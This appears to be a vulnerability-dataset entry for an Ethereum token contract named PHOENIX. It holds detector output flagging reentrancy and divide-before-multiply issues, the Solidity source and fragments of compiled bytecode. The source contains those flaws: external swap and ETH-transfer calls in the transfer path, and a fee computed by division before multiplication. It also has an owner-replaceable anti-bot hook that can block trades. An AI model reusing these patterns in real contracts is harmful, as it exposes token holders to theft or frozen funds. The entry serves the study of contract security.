5260409020549091506117f89082611256565b3060009081526001602052604090205550505050565b600061182b6103e86117aa601154856112b590919063ffffffff16565b9050600061184161183a6111f6565b83906112b5565b6006549091506118519082611334565b6006556007546109519083611256565b6001600160a01b0381168114610cdc57600080fd5b6000806040838503121561188957600080fd5b823561189481611861565b915060208301356118a481611861565b809150509250929050565b600060208083528351808285015260005b818110156118dc578581018301518582016040015282016118c0565b818111156118ee576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561191757600080fd5b823561192281611861565b946020939093013593505050565b60008060006060848603121561194557600080fd5b833561195081611861565b9250602084013561196081611861565b929592945050506040919091013590565b60006020828403121561198357600080fd5b5035919050565b60006020828403121561199c57600080fd5b81356108a381611861565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806119f057607f821691505b60208210811415611a1157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611a4057611a40611a17565b500190565b600082821015611a5757611a57611a17565b500390565b6000816000190483118215151615611a7657611a76611a17565b500290565b600082611a9857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611ac557600080fd5b81516108a381611861565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b205784516001600160a01b031683529383019391830191600101611afb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dbbbb929355a9c9c5cf996e54d03f459741ae51baf190aa3614b7505184086b664736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,222 |
0x0651fec61d86c2d723f674bd2368ae18d89104f7
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/*
* Insert info about your project here
*
*
* ****USING FTPAntiBot****
*
*
* Visit FairTokenProject.com/#antibot to learn how to use AntiBot with your project
* Your contract must hold 5Bil $GOLD(ProjektGold) or 5Bil $GREEN(ProjektGreen) in order to make calls on mainnet
* Calls on kovan testnet require > 1 $GOLD or $GREEN
* FairTokenProject is giving away 500Bil $GREEN to projects on a first come first serve basis for use of AntiBot
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
} // You will notice there is no renounceOwnership() This is an unsafe and unnecessary practice
} // By renouncing ownership you lose control over your coin and open it up to potential attacks
// This practice only came about because of the lack of understanding on how contracts work
interface IUniswapV2Factory { // We advise not using a renounceOwnership() function. You can look up hacks of address(0) contracts.
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPAntiBot { // Here we create the interface to interact with AntiBot
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender) external;
}
contract PHOENIX is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private constant TOTAL_SUPPLY = 500000000 * 10**9;
uint256 private constant TEAM_SUPPLY = 10000000 * 10**9;
string private m_Name = "PHOENIX";
string private m_Symbol = "PHOENIX";
uint8 private m_Decimals = 9;
uint256 private m_BanCount = 0;
uint256 private m_TxLimit = 300000000 * 10**9;
uint256 private m_SafeTxLimit = m_TxLimit;
uint256 private m_WalletLimit = m_SafeTxLimit.mul(4);
uint256 private m_TaxFee;
uint8 private m_DevFee = 15;
address payable private m_FeeAddress;
address private m_UniswapV2Pair;
bool private m_TradingOpened = false;
bool private m_IsSwap = false;
bool private m_SwapEnabled = false;
bool private m_AntiBot = true;
mapping (address => bool) private m_Bots;
mapping (address => bool) private m_Staked;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
FTPAntiBot private AntiBot;
IUniswapV2Router02 private m_UniswapV2Router;
event MaxOutTxLimit(uint MaxTransaction);
event BanAddress(address Address, address Origin);
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
FTPAntiBot _antiBot = FTPAntiBot(0x590C2B20f7920A2D21eD32A21B616906b4209A43); // AntiBot address for KOVAN TEST NET (its ok to leave this in mainnet push as long as you reassign it with external function)
AntiBot = _antiBot;
m_Balances[address(this)] = TOTAL_SUPPLY - TEAM_SUPPLY;
m_Balances[owner()] = TEAM_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0),owner(), TEAM_SUPPLY);
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
// ####################
// ##### DEFAULTS #####
// ####################
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
// #####################
// ##### OVERRIDES #####
// #####################
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
// ####################
// ##### PRIVATES #####
// ####################
function _readyToTax(address _sender) private view returns(bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled;
}
function _pleb(address _sender, address _recipient) private view returns(bool) {
return _sender != owner() && _recipient != owner() && m_TradingOpened;
}
function _senderNotUni(address _sender) private view returns(bool) {
return _sender != m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns(bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns(bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint8 _fee = _setFee(_sender, _recipient);
uint256 _feeAmount = _amount.div(100).mul(_fee);
uint256 _newAmount = _amount.sub(_feeAmount);
if(m_AntiBot) {
if((_recipient == m_UniswapV2Pair || _sender == m_UniswapV2Pair) && m_TradingOpened){
require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
}
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit); // Check balance of recipient and if < max amount, fails
if (_pleb(_sender, _recipient)) {
if (_txRestricted(_sender, _recipient))
require(_amount <= m_TxLimit);
_tax(_sender); // This contract taxes users X% on every tX and converts it to Eth to send to wherever
}
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_feeAmount);
emit Transfer(_sender, _recipient, _newAmount);
if(m_AntiBot) // Check if AntiBot is enabled
AntiBot.registerBlock(_sender, _recipient); // Tells AntiBot to start watching
}
function _setFee(address _sender, address _recipient) private returns(uint8){
bool _takeFee = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
if(!_takeFee)
m_DevFee = 0;
if(_takeFee)
m_DevFee = 15;
return m_DevFee;
}
function _tax(address _sender) private {
uint256 _tokenBalance = balanceOf(address(this));
if (_readyToTax(_sender)) {
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap { // If you want to do something like add taxes to Liquidity, change the logic in this block
address[] memory _path = new address[](2); // say m_AmountEth = _amount.div(2).add(_amount.div(100)) (Make sure to define m_AmountEth up top)
_path[0] = address(this); // ^This provides a buffer for the 0.6% tax that uniswap charges.
_path[1] = m_UniswapV2Router.WETH(); // This prevents the declination of value that is trending in current coins
_approve(address(this), address(m_UniswapV2Router), _amount); // change _amount to m_AmountEth if you want to addLiquidity from tax
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _disperseEth() private {
m_FeeAddress.transfer(address(this).balance); // If you want to add taxes to Liquidity, instead of sending to m_FeeAddress
} // call _UniswapV2Router.addLiquidityETH{value: m_AmountEth}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
// ####################
// ##### EXTERNAL #####
// ####################
function banCount() external view returns (uint256) {
return m_BanCount;
}
function checkIfBanned(address _address) external view returns (bool) { // Tool for traders to verify ban status
bool _banBool = false;
if(m_Bots[_address])
_banBool = true;
return _banBool;
}
// ######################
// ##### ONLY OWNER #####
// ######################
function addLiquidity() external onlyOwner() {
require(!m_TradingOpened,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
m_SwapEnabled = true;
m_TradingOpened = true;
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
}
function setTxLimitMax() external onlyOwner() { // As it sits here, this function raises maxTX to maxWallet
m_TxLimit = m_WalletLimit;
m_SafeTxLimit = m_WalletLimit;
emit MaxOutTxLimit(m_TxLimit);
}
function manualBan(address _a) external onlyOwner() {
m_Bots[_a] = true;
}
function removeBan(address _a) external onlyOwner() {
m_Bots[_a] = false;
m_BanCount -= 1;
}
function contractBalance() external view onlyOwner() returns (uint256) { // Just used to verify initial balance for addLiquidity
return address(this).balance;
}
function setFeeAddress(address payable _feeAddress) external onlyOwner() { // Use this function to assign Dev tax wallet
m_FeeAddress = _feeAddress;
m_ExcludedAddresses[_feeAddress] = true;
}
function assignAntiBot(address _address) external onlyOwner() { // Highly recommend use of a function that can edit AntiBot contract address to allow for AntiBot version updates
FTPAntiBot _antiBot = FTPAntiBot(_address);
AntiBot = _antiBot;
}
function toggleAntiBot() external onlyOwner() returns (bool){ // Having a way to turn interaction with other contracts on/off is a good design practice
bool _localBool;
if(m_AntiBot){
m_AntiBot = false;
_localBool = false;
}
else{
m_AntiBot = true;
_localBool = true;
}
return _localBool;
}
}
|
0x6080604052600436106101235760003560e01c80638705fcd4116100a0578063af74ff5b11610064578063af74ff5b14610406578063c735f3c914610431578063dd62ed3e14610448578063e8078d9414610485578063fa2b20091461049c5761012a565b80638705fcd41461031f5780638b7afe2e146103485780638da5cb5b1461037357806395d89b411461039e578063a9059cbb146103c95761012a565b8063313ce567116100e7578063313ce567146102285780633908cfd21461025357806362caa7041461027c578063700542ec146102a557806370a08231146102e25761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd14610197578063228e7a91146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104c7565b6040516101519190612d31565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128f6565b610559565b60405161018e9190612d16565b60405180910390f35b3480156101a357600080fd5b506101ac610577565b6040516101b99190612e93565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906127f0565b610587565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128a7565b610677565b60405161021f9190612d16565b60405180910390f35b34801561023457600080fd5b5061023d610750565b60405161024a9190612f08565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906127f0565b610767565b005b34801561028857600080fd5b506102a3600480360381019061029e91906127f0565b610871565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906127f0565b610950565b6040516102d99190612d16565b60405180910390f35b3480156102ee57600080fd5b50610309600480360381019061030491906127f0565b6109b7565b6040516103169190612e93565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612842565b610a00565b005b34801561035457600080fd5b5061035d610b31565b60405161036a9190612e93565b60405180910390f35b34801561037f57600080fd5b50610388610bcf565b6040516103959190612c11565b60405180910390f35b3480156103aa57600080fd5b506103b3610bf8565b6040516103c09190612d31565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb91906128f6565b610c8a565b6040516103fd9190612d16565b60405180910390f35b34801561041257600080fd5b5061041b610ca8565b6040516104289190612d16565b60405180910390f35b34801561043d57600080fd5b50610446610da2565b005b34801561045457600080fd5b5061046f600480360381019061046a919061286b565b610e84565b60405161047c9190612e93565b60405180910390f35b34801561049157600080fd5b5061049a610f0b565b005b3480156104a857600080fd5b506104b161143c565b6040516104be9190612e93565b60405180910390f35b6060600180546104d690613139565b80601f016020809104026020016040519081016040528092919081815260200182805461050290613139565b801561054f5780601f106105245761010080835404028352916020019161054f565b820191906000526020600020905b81548152906001019060200180831161053257829003601f168201915b5050505050905090565b600061056d6105666114c1565b84846114c9565b6001905092915050565b60006706f05b59d3b20000905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105c66114c1565b73ffffffffffffffffffffffffffffffffffffffff161461061c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061390612dd3565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610684848484611694565b610745846106906114c1565b6107408560405180606001604052806028815260200161350a60289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f66114c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3a9092919063ffffffff16565b6114c9565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107a66114c1565b73ffffffffffffffffffffffffffffffffffffffff16146107fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f390612dd3565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008282546108679190613059565b9250508190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b06114c1565b73ffffffffffffffffffffffffffffffffffffffff1614610906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fd90612dd3565b60405180910390fd5b600081905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060009050600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109ae57600190505b80915050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a3f6114c1565b73ffffffffffffffffffffffffffffffffffffffff1614610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c90612dd3565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b736114c1565b73ffffffffffffffffffffffffffffffffffffffff1614610bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc090612dd3565b60405180910390fd5b47905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c0790613139565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3390613139565b8015610c805780601f10610c5557610100808354040283529160200191610c80565b820191906000526020600020905b815481529060010190602001808311610c6357829003601f168201915b5050505050905090565b6000610c9e610c976114c1565b8484611694565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cea6114c1565b73ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3790612dd3565b60405180910390fd5b6000600a60179054906101000a900460ff1615610d7b576000600a60176101000a81548160ff02191690831515021790555060009050610d9b565b6001600a60176101000a81548160ff021916908315150217905550600190505b8091505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de16114c1565b73ffffffffffffffffffffffffffffffffffffffff1614610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90612dd3565b60405180910390fd5b6007546005819055506007546006819055507f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc600554604051610e7a9190612e93565b60405180910390a1565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4a6114c1565b73ffffffffffffffffffffffffffffffffffffffff1614610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790612dd3565b60405180910390fd5b600a60149054906101000a900460ff1615610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612e53565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061107f30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b200006114c9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190612819565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561115f57600080fd5b505afa158015611173573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111979190612819565b6040518363ffffffff1660e01b81526004016111b4929190612c2c565b602060405180830381600087803b1580156111ce57600080fd5b505af11580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112069190612819565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128f306109b7565b60008061129a610bcf565b426040518863ffffffff1660e01b81526004016112bc96959493929190612cb5565b6060604051808303818588803b1580156112d557600080fd5b505af11580156112e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130e919061295b565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113e6929190612c8c565b602060405180830381600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114389190612932565b5050565b6000600454905090565b60008083141561145957600090506114bb565b600082846114679190612fff565b90508284826114769190612fce565b146114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad90612db3565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153090612e33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612d73565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116879190612e93565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb90612e13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b90612d53565b60405180910390fd5b600081116117b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ae90612df3565b60405180910390fd5b60006117c38484611e9e565b905060006117f08260ff166117e2606486611fa390919063ffffffff16565b61144690919063ffffffff16565b905060006118078285611fed90919063ffffffff16565b9050600a60179054906101000a900460ff1615611b0c57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806118c75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80156118df5750600a60149054906101000a900460ff165b15611b0b57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42386600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16326040518463ffffffff1660e01b815260040161196593929190612c55565b602060405180830381600087803b15801561197f57600080fd5b505af1158015611993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b79190612932565b156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90612e73565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42387600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16326040518463ffffffff1660e01b8152600401611a7893929190612c55565b602060405180830381600087803b158015611a9257600080fd5b505af1158015611aa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aca9190612932565b15611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0190612e73565b60405180910390fd5b5b5b611b1585612037565b15611b3157600754611b26866109b7565b10611b3057600080fd5b5b611b3b86866120ec565b15611b6957611b4a8686612184565b15611b5f57600554841115611b5e57600080fd5b5b611b688661228f565b5b611bbb84600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fed90919063ffffffff16565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5081600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122c090919063ffffffff16565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ce582600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122c090919063ffffffff16565b600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d859190612e93565b60405180910390a3600a60179054906101000a900460ff1615611e3257601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b25d625987876040518363ffffffff1660e01b8152600401611dff929190612c2c565b600060405180830381600087803b158015611e1957600080fd5b505af1158015611e2d573d6000803e3d6000fd5b505050505b505050505050565b6000838311158290611e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e799190612d31565b60405180910390fd5b5060008385611e919190613059565b9050809150509392505050565b600080600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f425750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15905080611f67576000600960006101000a81548160ff021916908360ff1602179055505b8015611f8a57600f600960006101000a81548160ff021916908360ff1602179055505b600960009054906101000a900460ff1691505092915050565b6000611fe583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b600061202f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3a565b905092915050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120e55750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b60006120f6610bcf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121645750612134610bcf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561217c5750600a60149054906101000a900460ff165b905092915050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122315750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122875750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600061229a306109b7565b90506122a582612381565b156122bc576122b38161240d565b6122bb612707565b5b5050565b60008082846122cf9190612f78565b905083811015612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230b90612d93565b60405180910390fd5b8091505092915050565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c9190612d31565b60405180910390fd5b50600083856123749190612fce